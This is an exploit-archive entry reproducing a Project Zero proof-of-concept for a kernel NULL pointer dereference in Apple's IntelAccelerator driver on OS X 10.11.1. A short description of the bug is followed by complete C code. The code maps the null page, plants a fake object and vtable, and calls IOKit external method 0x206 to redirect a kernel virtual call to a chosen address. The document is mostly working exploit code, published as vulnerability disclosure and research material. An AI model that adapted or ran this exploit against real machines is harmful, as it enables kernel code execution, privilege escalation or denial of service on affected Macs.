Apple Mac OSX - 'IntelAccelerator::gstqConfigure' Kernel NULL Dereference

/*
Source: https://code.google.com/p/google-security-research/issues/detail?id=595

The field at IntelAccelerator+0xe60 is a pointer to a GSTContextKernel allocated in the ::gstqCreateInfoMethod.

In the ::start method this field is initialized to NULL. The IGAccelDevice external method gst_configure (0x206)
calls gstqConfigure which doesn't check whether the GSTContextKernel pointer is NULL, therefore by calling
this external method before calling any others which allocate the GSTContextKernel we can cause a kernel
NULL pointer dereference. The GSTContextKernel structure contains pointers, one of which eventually leads
to control of a kernel virtual method call. This PoC will kernel panic calling 0xffff800041414141.

Tested on OS X ElCapitan 10.11.1 (15b42) on MacBookAir5,2
*/

// ianbeer
/*
Exploitable kernel NULL dereference in IntelAccelerator::gstqConfigure

clang -o ig_gl_gst_null ig_gl_gst_null.c -framework IOKit -m32 -pagezero_size 0x0

The field at IntelAccelerator+0xe60 is a pointer to a GSTContextKernel allocated in the ::gstqCreateInfoMethod.

In the ::start method this field is initialized to NULL. The IGAccelDevice external method gst_configure (0x206)
calls gstqConfigure which doesn't check whether the GSTContextKernel pointer is NULL, therefor by calling
this external method before calling any others which allocate the GSTContextKernel we can cause a kernel
NULL pointer dereference. The GSTContextKernel structure contains pointers, one of which eventually leads
to control of a kernel virtual method call. This PoC will kernel panic calling 0xffff800041414141.

Tested on OS X ElCapitan 10.11.1 (15b42) on MacBookAir5,2
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#include <mach/mach.h>
#include <mach/vm_map.h>
#include <sys/mman.h>

#include <IOKit/IOKitLib.h>

int main(int argc, char** argv){
  kern_return_t err;
  // re map the null page rw
  int var = 0;
  err = vm_deallocate(mach_task_self(), 0x0, 0x1000);
  if (err != KERN_SUCCESS){
    printf("%x\n", err);
  }
  vm_address_t addr = 0;
  err = vm_allocate(mach_task_self(), &addr, 0x1000, 0);
  if (err != KERN_SUCCESS){
    if (err == KERN_INVALID_ADDRESS){
      printf("invalid address\n");
    }
    if (err == KERN_NO_SPACE){
      printf("no space\n");
    }
    printf("%x\n", err);
  }
  char* np = 0;
  for (int i = 0; i < 0x1000; i++){
    np[i] = 'A';
  }

  CFMutableDictionaryRef matching = IOServiceMatching("IntelAccelerator");
  if(!matching){
   printf("unable to create service matching dictionary\n");
   return 0;
  }

  io_iterator_t iterator;
  err = IOServiceGetMatchingServices(kIOMasterPortDefault, matching, &iterator);
  if (err != KERN_SUCCESS){
   printf("no matches\n");
   return 0;
  }

  io_service_t service = IOIteratorNext(iterator);
  
  if (service == IO_OBJECT_NULL){
   printf("unable to find service\n");
   return 0;
  }
  printf("got service: %x\n", service);

  io_connect_t conn = MACH_PORT_NULL;
  err = IOServiceOpen(service, mach_task_self(), 1, &conn); // type 1 == IGAccelGLContext
  if (err != KERN_SUCCESS){
   printf("unable to get user client connection\n");
   return 0;
  }

  printf("got userclient connection: %x\n", conn);


  uint64_t* obj_ptr = malloc(0x1000);
  uint64_t* obj = malloc(0x1000);
  uint64_t* vtable = malloc(0x1000);
  uint64_t kernel_rip = 0xffff800041414141;

  vtable[0x70/8] = kernel_rip;
  *obj = (uint64_t)vtable;

  *obj_ptr = (uint64_t)obj;

  *((uint64_t*)0x28) = (uint64_t)obj_ptr;

  uint64_t inputScalar[16];  
  uint64_t inputScalarCnt = 0;

  char inputStruct[4096];
  size_t inputStructCnt = 0;

  uint64_t outputScalar[16];
  uint32_t outputScalarCnt = 0;

  char outputStruct[4096];
  size_t outputStructCnt = 0;

  inputScalarCnt = 0;
  inputStructCnt = 0;

  outputScalarCnt = 0;
  outputStructCnt = 0;

  inputStructCnt = 0x1000;

  err = IOConnectCallMethod(
   conn,
   0x206,
   inputScalar,
   inputScalarCnt,
   inputStruct,
   inputStructCnt,
   outputScalar,
   &outputScalarCnt,
   outputStruct,
   &outputStructCnt); 

  if (err != KERN_SUCCESS){
   printf("IOConnectCall error: %x\n", err);
   return 0;
  }
}